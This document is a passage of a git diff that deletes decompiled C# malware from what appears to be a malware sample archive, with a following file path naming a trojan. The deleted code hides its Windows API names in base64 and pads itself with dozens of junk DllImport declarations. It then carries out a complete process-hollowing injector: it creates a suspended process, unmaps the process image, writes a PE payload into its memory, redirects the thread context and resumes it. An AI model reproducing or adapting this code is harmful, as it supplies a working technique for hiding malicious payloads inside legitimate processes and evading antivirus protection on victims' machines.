lTVpSXlhQdDEenzcvayRqRcWo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string chSZgwXWmcfXvZECjYsjanx, - string[] ggUUuEQsMrPhtheYqnLuFL, - char HTjkGIRoWzPvCVdTyttsx); - - [DllImport("xUguctfjKxvpIFbwWbXjmCXY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ibiNnZpsvnMpUEzoJzqEOxwkW( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string hrmQfxSlgVBKLJOyrydqpGK, - string[] MEdskVDFZCHUfzNBmOkjLs, - char KvzaBMGYVrOmeamDSnbkI); - - [DllImport("BlTVpSXlhQdDEenzcvayRqRc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] DgiPiowlRabZeCIQtHGWacUtJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WoXueouqDTiprBYTwyflFNC, - string[] hddchSZgwXWmcfXvZECjYs, - char janxggUUuEQsMrPhtheYq); - - [DllImport("xibiNnZpsvnMpUEzoJzqEOxw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] nLuFLHTjkGIRoWzPvCVdTytts( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string kWxUguctfjKxvpIFbwWbXjm, - string[] CXYhrmQfxSlgVBKLJOyryd, - char qpGKMEdskVDFZCHUfzNBm); - - [DllImport("IDgiPiowlRabZeCIQtHGWacU.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] OkjLsKvzaBMGYVrOmeamDSnbk( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tJBlTVpSXlhQdDEenzcvayR, - string[] qRcWoXueouqDTiprBYTwyf, - char lFNChddchSZgwXWmcfXvZ); - - [DllImport("qnLuFLHTjkGIRoWzPvCVdTyt.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ECjYsjanxggUUuEQsMrPhtheY( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tsxibiNnZpsvnMpUEzoJzqE, - string[] OxwkWxUguctfjKxvpIFbwW, - char bXjmCXYhrmQfxSlgVBKLJ); - - [DllImport("mOkjLsKvzaBMGYVrOmeamDSn.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] OyrydqpGKMEdskVDFZCHUfzNB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bkIDgiPiowlRabZeCIQtHGW, - string[] acUtJBlTVpSXlhQdDEenzc, - char vayRqRcWoXueouqDTiprB); - - [DllImport("ZECjYsjanxggUUuEQsMrPhth.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YTwyflFNChddchSZgwXWmcfXv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eYqnLuFLHTjkGIRoWzPvCVd, - string[] TyttsxibiNnZpsvnMpUEzo, - char JzqEOxwkWxUguctfjKxvp); - - [DllImport("JOyrydqpGKMEdskVDFZCHUfz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] IFbwWbXjmCXYhrmQfxSlgVBKL( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string NBmOkjLsKvzaBMGYVrOmeam, - string[] DSnbkIDgiPiowlRabZeCIQ, - char tHGWacUtJBlTVpSXlhQdD); - - [DllImport("BYTwyflFNChddchSZgwXWmcf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EenzcvayRqRcWoXueouqDTipr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string XvZECjYsjanxggUUuEQsMrP, - string[] htheYqnLuFLHTjkGIRoWzP, - char vCVdTyttsxibiNnZpsvnM); - - [DllImport("pIFbwWbXjmCXYhrmQfxSlgVB.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] pUEzoJzqEOxwkWxUguctfjKxv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KLJOyrydqpGKMEdskVDFZCH, - string[] UfzNBmOkjLsKvzaBMGYVrO, - char meamDSnbkIDgiPiowlRab); - - [DllImport("DEenzcvayRqRcWoXueouqDTi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZeCIQtHGWacUtJBlTVpSXlhQd( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string prBYTwyflFNChddchSZgwXW, - string[] mcfXvZECjYsjanxggUUuEQ, - char sMrPhtheYqnLuFLHTjkGI); - - [DllImport("MpUEzoJzqEOxwkWxUguctfjK.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] RoWzPvCVdTyttsxibiNnZpsvn( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xvpIFbwWbXjmCXYhrmQfxSl, - string[] gVBKLJOyrydqpGKMEdskVD, - char FZCHUfzNBmOkjLsKvzaBM); - - [DllImport("bZeCIQtHGWacUtJBlTVpSXlh.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GYVrOmeamDSnbkIDgiPiowlRa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QdDEenzcvayRqRcWoXueouq, - string[] DTiprBYTwyflFNChddchSZ, - char gwXWmcfXvZECjYsjanxgg); - - [DllImport("IRoWzPvCVdTyttsxibiNnZps.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] UUuEQsMrPhtheYqnLuFLHTjkG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string vnMpUEzoJzqEOxwkWxUguct, - string[] fjKxvpIFbwWbXjmCXYhrmQ, - char fxSlgVBKLJOyrydqpGKME); - - [DllImport("MGYVrOmeamDSnbkIDgiPiowl.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dskVDFZCHUfzNBmOkjLsKvzaB( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RabZeCIQtHGWacUtJBlTVpS, - string[] XlhQdDEenzcvayRqRcWoXu, - char eouqDTiprBYTwyflFNChd); - - [DllImport("gUUuEQsMrPhtheYqnLuFLHTj.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] dchSZgwXWmcfXvZECjYsjanxg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string kGIRoWzPvCVdTyttsxibiNn, - string[] ZpsvnMpUEzoJzqEOxwkWxU, - char guctfjKxvpIFbwWbXjmCX); - - [DllImport("EdskVDFZCHUfzNBmOkjLsKvz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] YhrmQfxSlgVBKLJOyrydqpGKM( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string aBMGYVrOmeamDSnbkIDgiPi, - string[] owlRabZeCIQtHGWacUtJBl, - char TVpSXlhQdDEenzcvayRqR); - - [DllImport("ddchSZgwXWmcfXvZECjYsjan.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cWoXueouqDTiprBYTwyflFNCh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string xggUUuEQsMrPhtheYqnLuFL, - string[] HTjkGIRoWzPvCVdTyttsxi, - char biNnZpsvnMpUEzoJzqEOx); - - [DllImport("XYhrmQfxSlgVBKLJOyrydqpG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] wkWxUguctfjKxvpIFbwWbXjmC( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string KMEdskVDFZCHUfzNBmOkjLs, - string[] KvzaBMGYVrOmeamDSnbkID, - char giPiowlRabZeCIQtHGWac); - - [DllImport("RcWoXueouqDTiprBYTwyflFN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] UtJBlTVpSXlhQdDEenzcvayRq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ChddchSZgwXWmcfXvZECjYs, - string[] janxggUUuEQsMrPhtheYqn, - char LuFLHTjkGIRoWzPvCVdTy); - - [DllImport("xwkWxUguctfjKxvpIFbwWbXj.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ttsxibiNnZpsvnMpUEzoJzqEO( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mCXYhrmQfxSlgVBKLJOyryd, - string[] qpGKMEdskVDFZCHUfzNBmO, - char kjLsKvzaBMGYVrOmeamDS); - - [DllImport("cUtJBlTVpSXlhQdDEenzcvay.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] nbkIDgiPiowlRabZeCIQtHGWa( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string RqRcWoXueouqDTiprBYTwyf, - string[] lFNChddchSZgwXWmcfXvZE, - char CjYsjanxggUUuEQsMrPht); - - [DllImport("yttsxibiNnZpsvnMpUEzoJzq.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] heYqnLuFLHTjkGIRoWzPvCVdT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string EOxwkWxUguctfjKxvpIFbwW, - string[] bXjmCXYhrmQfxSlgVBKLJO, - char yrydqpGKMEdskVDFZCHUf); - - [DllImport("SnbkIDgiPiowlRabZeCIQtHG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zNBmOkjLsKvzaBMGYVrOmeamD( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WacUtJBlTVpSXlhQdDEenzc, - string[] vayRqRcWoXueouqDTiprBY, - char TwyflFNChddchSZgwXWmc); - - [DllImport("theYqnLuFLHTjkGIRoWzPvCV.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] fXvZECjYsjanxggUUuEQsMrPh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dTyttsxibiNnZpsvnMpUEzo, - string[] JzqEOxwkWxUguctfjKxvpI, - char FbwWbXjmCXYhrmQfxSlgV); - - [DllImport("fzNBmOkjLsKvzaBMGYVrOmea.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] BKLJOyrydqpGKMEdskVDFZCHU( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mDSnbkIDgiPiowlRabZeCIQ, - string[] tHGWacUtJBlTVpSXlhQdDE, - char enzcvayRqRcWoXueouqDT); - - [DllImport("cfXvZECjYsjanxggUUuEQsMr.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] iprBYTwyflFNChddchSZgwXWm( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string PhtheYqnLuFLHTjkGIRoWzP, - string[] vCVdTyttsxibiNnZpsvnMp, - char UEzoJzqEOxwkWxUguctfj); - - [DllImport("VBKLJOyrydqpGKMEdskVDFZC.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] KxvpIFbwWbXjmCXYhrmQfxSlg( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string HUfzNBmOkjLsKvzaBMGYVrO, - string[] meamDSnbkIDgiPiowlRabZ, - char eCIQtHGWacUtJBlTVpSXl); - - [DllImport("TiprBYTwyflFNChddchSZgwX.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] hQdDEenzcvayRqRcWoXueouqD( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WmcfXvZECjYsjanxggUUuEQ, - string[] sMrPhtheYqnLuFLHTjkGIR, - char oWzPvCVdTyttsxibiNnZp); - - [DllImport("jKxvpIFbwWbXjmCXYhrmQfxS.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] svnMpUEzoJzqEOxwkWxUguctf( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lgVBKLJOyrydqpGKMEdskVD, - string[] FZCHUfzNBmOkjLsKvzaBMG, - char YVrOmeamDSnbkIDgiPiow); - - [DllImport("lhQdDEenzcvayRqRcWoXueou.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lRabZeCIQtHGWacUtJBlTVpSX( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string qDTiprBYTwyflFNChddchSZ, - string[] gwXWmcfXvZECjYsjanxggU, - char UuEQsMrPhtheYqnLuFLHT); - - [DllImport("psvnMpUEzoJzqEOxwkWxUguc.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jkGIRoWzPvCVdTyttsxibiNnZ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string tfjKxvpIFbwWbXjmCXYhrmQ, - string[] fxSlgVBKLJOyrydqpGKMEd, - char skVDFZCHUfzNBmOkjLsKv); - - [DllImport("wlRabZeCIQtHGWacUtJBlTVp.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] zaBMGYVrOmeamDSnbkIDgiPio( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string SXlhQdDEenzcvayRqRcWoXu, - string[] eouqDTiprBYTwyflFNChdd, - char chSZgwXWmcfXvZECjYsja); - - [DllImport("TjkGIRoWzPvCVdTyttsxibiN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] nxggUUuEQsMrPhtheYqnLuFLH( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string nZpsvnMpUEzoJzqEOxwkWxU, - string[] guctfjKxvpIFbwWbXjmCXY, - char hrmQfxSlgVBKLJOyrydqp); - - [DllImport("vzaBMGYVrOmeamDSnbkIDgiP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GKMEdskVDFZCHUfzNBmOkjLsK( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string iowlRabZeCIQtHGWacUtJBl, - string[] TVpSXlhQdDEenzcvayRqRc, - char WoXueouqDTiprBYTwyflF); - - [DllImport("anxggUUuEQsMrPhtheYqnLuF.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] NChddchSZgwXWmcfXvZECjYsj( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string LHTjkGIRoWzPvCVdTyttsxi, - string[] biNnZpsvnMpUEzoJzqEOxw, - char kWxUguctfjKxvpIFbwWbX); - - [DllImport("pGKMEdskVDFZCHUfzNBmOkjL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] jmCXYhrmQfxSlgVBKLJOyrydq( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sKvzaBMGYVrOmeamDSnbkID, - string[] giPiowlRabZeCIQtHGWacU, - char tJBlTVpSXlhQdDEenzcva); - - [DllImport("FNChddchSZgwXWmcfXvZECjY.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] yRqRcWoXueouqDTiprBYTwyfl( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string sjanxggUUuEQsMrPhtheYqn, - string[] LuFLHTjkGIRoWzPvCVdTyt, - char tsxibiNnZpsvnMpUEzoJz); - - [DllImport("XjmCXYhrmQfxSlgVBKLJOyry.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qEOxwkWxUguctfjKxvpIFbwWb( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dqpGKMEdskVDFZCHUfzNBmO, - string[] kjLsKvzaBMGYVrOmeamDSn, - char bkIDgiPiowlRabZeCIQtH); - - [DllImport("ayRqRcWoXueouqDTiprBYTwy.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] GWacUtJBlTVpSXlhQdDEenzcv( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string flFNChddchSZgwXWmcfXvZE, - string[] CjYsjanxggUUuEQsMrPhth, - char eYqnLuFLHTjkGIRoWzPvC); - - [DllImport("zqEOxwkWxUguctfjKxvpIFbw.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] VdTyttsxibiNnZpsvnMpUEzoJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string WbXjmCXYhrmQfxSlgVBKLJO, - string[] yrydqpGKMEdskVDFZCHUfz, - char NBmOkjLsKvzaBMGYVrOme); - - [DllImport("HGWacUtJBlTVpSXlhQdDEenz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] amDSnbkIDgiPiowlRabZeCIQt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string cvayRqRcWoXueouqDTiprBY, - string[] TwyflFNChddchSZgwXWmcf, - char XKmRPxlHwnCMuuhhJReGZ); - - [DllImport("QjqgMHIGLwpwbCnDHKBaDiSO.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] FduHusmFCYITZVgxyUVfDjNdJ( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string DXNEScLLxkLhuJqItxXMJDV, - string[] SpLjplwBPkmvGzdtMgztjP, - char YYXbNGNrEETXaSqGyiQTn); - - [DllImport("rozRfBoxWRtvcwCKzfoonsPW.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] QUisObOBcywZHYKOnOZTliGbz( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dIVUknqiHWPyhjEgkyverRR, - string[] sBNpJoNeFepjClIrDJFQhv, - char EFPmhLMszSaQvqrpufmtK); - - [DllImport("ZFduHusmFCYITZVgxyUVfDjN.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] lkBqtkKmRPxlHwnCMuuhhJReG( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dJQjqgMHIGLwpwbCnDHKBaD, - string[] iSODXNEScLLxkLhuJqItxX, - char MJDVSpLjplwBPkmvGzdtM); - - [DllImport("nQUisObOBcywZHYKOnOZTliG.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] gztjPYYXbNGNrEETXaSqGyiQT( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bzrozRfBoxWRtvcwCKzfoon, - string[] sPWdIVUknqiHWPyhjEgkyv, - char erRRsBNpJoNeFepjClIrD); - - [DllImport("KlkBqtkKmRPxlHwnCMuuhhJR.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] JFQhvEFPmhLMszSaQvqrpufmt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string eGZFduHusmFCYITZVgxyUVf, - string[] DjNdJQjqgMHIGLwpwbCnDH, - char KBaDiSODXNEScLLxkLhuJ); - - [DllImport("MgztjPYYXbNGNrEETXaSqGyi.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] qItxXMJDVSpLjplwBPkmvGzdt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string QTnQUisObOBcywZHYKOnOZT, - string[] liGbzrozRfBoxWRtvcwCKz, - char foonsPWdIVUknqiHWPyhj); - - [DllImport("DJFQhvEFPmhLMszSaQvqrpuf.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] EgkyverRRsBNpJoNeFepjClIr( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string mtKlkBqtkKmRPxlHwnCMuuh, - string[] hJReGZFduHusmFCYITZVgx, - char yUVfDjNdJQjqgMHIGLwpw); - - [DllImport("JqItxXMJDVSpLjplwBPkmvGz.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] bCnDHKBaDiSODXNEScLLxkLhu( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dtMgztjPYYXbNGNrEETXaSq, - string[] GyiQTnQUisObOBcywZHYKO, - char nOZTliGbzrozRfBoxWRtv); - - [DllImport("jEgkyverRRsBNpJoNeFepjCl.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] cwCKzfoonsPWdIVUknqiHWPyh( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string IrDJFQhvEFPmhLMszSaQvqr, - string[] pufmtKlkBqtkKmRPxlHwnC, - char MuuhhJReGZFduHusmFCYI); - - [DllImport("wbCnDHKBaDiSODXNEScLLxkL.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] TZVgxyUVfDjNdJQjqgMHIGLwp( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string huJqItxXMJDVSpLjplwBPkm, - string[] vGzdtMgztjPYYXbNGNrEET, - char XaSqGyiQTnQUisObOBcyw); - - [DllImport("vcwCKzfoonsPWdIVUknqiHWP.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern byte[] ZHYKOnOZTliGbzrozRfBoxWRt( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string yhjEgkyverRRsBNpJoNeFep, - string[] jClIrDJFQhvEFPmhLMszSa, - char QvqrpufmtKlkBqtkKmRPx); - - public T DSLudfzcguranNNowJlF(string kJaBalfxhEnyFBMdrzBL, string idHIovOWMrmnlqbipGhg) => (T) Marshal.GetDelegateForFunctionPointer(yvHKZuvFPKnDWpJ.GetProcAddress(yvHKZuvFPKnDWpJ.LoadLibraryA(ref kJaBalfxhEnyFBMdrzBL), ref idHIovOWMrmnlqbipGhg), typeof (T)); - - public object jbBQIsacwZesDXk(byte[] MiScieqIJefoMtXmTZsB, string qWRSQVGyGkLwNQTLkNrc) - { - yvHKZuvFPKnDWpJ.wmpgGiNLthDsjxIqqddF giNlthDsjxIqqddF = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E="))); - yvHKZuvFPKnDWpJ.pLyIfaEGmGMUJoxywCZg ifaEgmGmuJoxywCzg = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA=="))); - yvHKZuvFPKnDWpJ.dqFmEptTIFyROkHflhsw eptTiFyRokHflhsw = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk="))); - yvHKZuvFPKnDWpJ.guranNNowJlFkJaBalfx guranNnowJlFkJaBalfx = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg="))); - yvHKZuvFPKnDWpJ.alfxhEnyFBMdrzBLidHI alfxhEnyFbMdrzBlidHi = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5"))); - yvHKZuvFPKnDWpJ.SOaqGNPYvqUWDJckaGBB gnpYvqUwdJckaGbb = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA=="))); - yvHKZuvFPKnDWpJ.PTWOmCueMPjMQeoKXKwY omCueMpjMqeoKxKwY = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk"))); - yvHKZuvFPKnDWpJ.WyeOKyTJzOYHHtgHdqFm okyTjzOyhHtgHdqFm = this.DSLudfzcguranNNowJlF(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24="))); - IntPtr zero1 = IntPtr.Zero; - IntPtr[] dfzcguranNNowJlFkJaB = new IntPtr[4]; - byte[] vbkkjoLSZERQgjmeDSLu = new byte[68]; - int int32_1 = BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, 60); - int int16 = (int) BitConverter.ToInt16(MiScieqIJefoMtXmTZsB, checked (int32_1 + 6)); - IntPtr yfJZFMfmcIDECHslsXxj = new IntPtr(BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, checked (int32_1 + 84))); - if (giNlthDsjxIqqddF((string) null, new StringBuilder(qWRSQVGyGkLwNQTLkNrc), zero1, zero1, false, 4, zero1, (string) null, vbkkjoLSZERQgjmeDSLu, dfzcguranNNowJlFkJaB)) - { - uint[] numArray1 = new uint[179]; - numArray1[0] = 65538U; - if (ifaEgmGmuJoxywCzg(dfzcguranNNowJlFkJaB[1], numArray1)) - { - IntPtr JnzzPTWOmCueMPjMQeoK = new IntPtr(checked ((long) numArray1[41] + 8L)); - IntPtr zero2 = IntPtr.Zero; - IntPtr nkvNbwktSNprYsxGvbkk = new IntPtr(4); - IntPtr zero3 = IntPtr.Zero; - if (eptTiFyRokHflhsw(dfzcguranNNowJlFkJaB[0], JnzzPTWOmCueMPjMQeoK, ref zero2, (int) nkvNbwktSNprYsxGvbkk, ref zero3) && okyTjzOyhHtgHdqFm(dfzcguranNNowJlFkJaB[0], zero2) == 0U) - { - IntPtr num1 = new IntPtr(BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, checked (int32_1 + 52))); - IntPtr num2 = new IntPtr(BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, checked (int32_1 + 80))); - IntPtr GiNLthDsjxIqqddFNaCV = guranNnowJlFkJaBalfx(dfzcguranNNowJlFkJaB[0], num1, num2, 12288, 64); - int int32_2 = GiNLthDsjxIqqddFNaCV.ToInt32(); - int yDGwWyeOKyTJzOYHHtgH; - int num3 = alfxhEnyFbMdrzBlidHi(dfzcguranNNowJlFkJaB[0], GiNLthDsjxIqqddFNaCV, MiScieqIJefoMtXmTZsB, checked ((uint) (int) yfJZFMfmcIDECHslsXxj), yDGwWyeOKyTJzOYHHtgH) ? 1 : 0; - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst = new int[10]; - Buffer.BlockCopy((Array) MiScieqIJefoMtXmTZsB, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40); - byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)]; - Buffer.BlockCopy((Array) MiScieqIJefoMtXmTZsB, dst[5], (Array) numArray2, 0, numArray2.Length); - num2 = new IntPtr(checked (int32_2 + dst[3])); - num1 = new IntPtr(numArray2.Length); - int num6 = alfxhEnyFbMdrzBlidHi(dfzcguranNNowJlFkJaB[0], num2, numArray2, checked ((uint) (int) num1), yDGwWyeOKyTJzOYHHtgH) ? 1 : 0; - checked { ++num5; } - } - num2 = new IntPtr(checked ((long) numArray1[41] + 8L)); - num1 = new IntPtr(4); - int num7 = alfxhEnyFbMdrzBlidHi(dfzcguranNNowJlFkJaB[0], num2, BitConverter.GetBytes(GiNLthDsjxIqqddFNaCV.ToInt32()), checked ((uint) (int) num1), yDGwWyeOKyTJzOYHHtgH) ? 1 : 0; - numArray1[44] = checked ((uint) (GiNLthDsjxIqqddFNaCV.ToInt32() + BitConverter.ToInt32(MiScieqIJefoMtXmTZsB, int32_1 + 40))); - int num8 = gnpYvqUwdJckaGbb(dfzcguranNNowJlFkJaB[1], numArray1) ? 1 : 0; - } - } - int num = (int) omCueMpjMqeoKxKwY(dfzcguranNNowJlFkJaB[1]); - } - return (object) null; - } - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool wmpgGiNLthDsjxIqqddF( - string NaCVBZqDqoiBxUEPVRct, - StringBuilder uQRbyfJZFMfmcIDECHsl, - IntPtr sXxjyDGwWyeOKyTJzOYH, - IntPtr HtgHdqFmEptTIFyROkHf, - [MarshalAs(UnmanagedType.Bool)] bool lhswLgirBvZpIcvpfLUU, - int TXJCJnzzPTWOmCueMPjM, - IntPtr QeoKXKwYusVDUGKjKVPh, - string eCXvnkvNbwktSNprYsxG, - byte[] vbkkjoLSZERQgjmeDSLu, - IntPtr[] dfzcguranNNowJlFkJaB); - - public delegate bool alfxhEnyFBMdrzBLidHI( - IntPtr ovOWMrmnlqbipGhgwmpg, - IntPtr GiNLthDsjxIqqddFNaCV, - byte[] BZqDqoiBxUEPVRctuQRb, - uint yfJZFMfmcIDECHslsXxj, - int yDGwWyeOKyTJzOYHHtgH); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool dqFmEptTIFyROkHflhsw( - IntPtr LgirBvZpIcvpfLUUTXJC, - IntPtr JnzzPTWOmCueMPjMQeoK, - ref IntPtr XKwYusVDUGKjKVPheCXv, - int nkvNbwktSNprYsxGvbkk, - ref IntPtr joLSZERQgjmeDSLudfzc); - - public delegate IntPtr guranNNowJlFkJaBalfx( - IntPtr hEnyFBMdrzBLidHIovOW, - IntPtr MrmnlqbipGhgwmpgGiNL, - IntPtr thDsjxIqqddFNaCVBZqD, - int qoiBxUEPVRctuQRbyfJZ, - int FMfmcIDECHslsXxjyDGw); - - public delegate uint WyeOKyTJzOYHHtgHdqFm( - IntPtr EptTIFyROkHflhswLgir, - IntPtr BvZpIcvpfLUUTXJCJnzz); - - public delegate uint PTWOmCueMPjMQeoKXKwY(IntPtr usVDUGKjKjdvsPlKCxKa); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool pLyIfaEGmGMUJoxywCZg( - IntPtr nRedtxzrRgYJqsOquJFn, - uint[] CabCLXzTxWoOoztMuSCM); - - [return: MarshalAs(UnmanagedType.Bool)] - public delegate bool SOaqGNPYvqUWDJckaGBB( - IntPtr zFpwEUutKzDuTwbZHvQH, - uint[] xLVEErrSbnQjPmFRFDwO); -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/AssemblyInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/AssemblyInfo.cs deleted file mode 100644 index a08fdfe6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCopyright("")] -[assembly: AssemblyTitle("")] -[assembly: 